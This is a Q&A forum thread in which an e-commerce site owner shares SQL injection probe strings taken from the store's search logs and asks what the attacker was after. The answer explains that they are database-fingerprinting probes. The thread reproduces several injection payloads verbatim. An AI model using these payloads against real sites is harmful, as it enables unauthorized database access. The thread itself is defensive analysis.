SQL Injection pattern in store search

2
votes

Since early morning today, we are getting following search queries in our ecommerce store. I understand its SQL injection. We are also using parameterized query. So it didnt do any harm. but because to the length of the query full text search took time to process and ended up timeout and website hanged for a while.

Immediately, i have restricted maximum charterers for search to 75 and added logic to detect sql injection and prevent it to reach sql server as additional safety.

Our enviorment: ASP.Net Ecommerce Site SQL Server 2012 Express DB with full text search. Windows 2012 Std Server.

Just wanted to know what searching person is trying to understand/study? Or they just wanted to hang the website? it is safe to ignore after fixes mentioned above?

Search terms are given below. "Enter Model Number or Cartridge Code" is our default search text box text.

Enter Model Number or Cartridge Code) AND 2895=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113)||(SELECT (CASE WHEN (2895=2895) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)||CHR(62))) FROM DUAL) AND (9170=9170

Enter Model Number or Cartridge Code') AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113))) AND ('KzHP'='KzHP

Enter Model Number or Cartridge Code%' AND (SELECT 2396 FROM(SELECT COUNT(*),CONCAT(0x7170617a71,(SELECT (CASE WHEN (2396=2396) THEN 1 ELSE 0 END)),0x7177637971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='

Enter Model Number or Cartridge Code%' AND 4201=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(97)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4201=4201) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(99)+CHAR(121)+CHAR(113))) AND '%'='

Enter Model Number or Cartridge Code') AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC) AND ('iWJF'='iWJF

Enter Model Number or Cartridge Code AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))-- ZgIZ

Enter Model Number or Cartridge Code) AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC) AND (8167=8167

Enter Model Number or Cartridge Code AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))

Enter Model Number or Cartridge Code AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS NUMERIC)-- CuDa

1
sqlsql-injection
I like your question :) - Fka

1 Answers

5
votes

As a SQL Injection expert, it seems that these are only generic queries to understand whether a SQL Injection exist, and which DB type is it. You can see that in some cases he used CHR which is the Oracle's version for number-to-char, and in other cases he used CHAR which is other DB's function names (SQL Server), and in another case he addressed the INFORMATION_SCHEMA.CHARACTER_SETS table which is a table in MySQL. He simply send several general queries to find injections and the DB type. Nonetheless if your site hung by this, you should perform some better input validation of special characters (brackets?) in addition to the length validation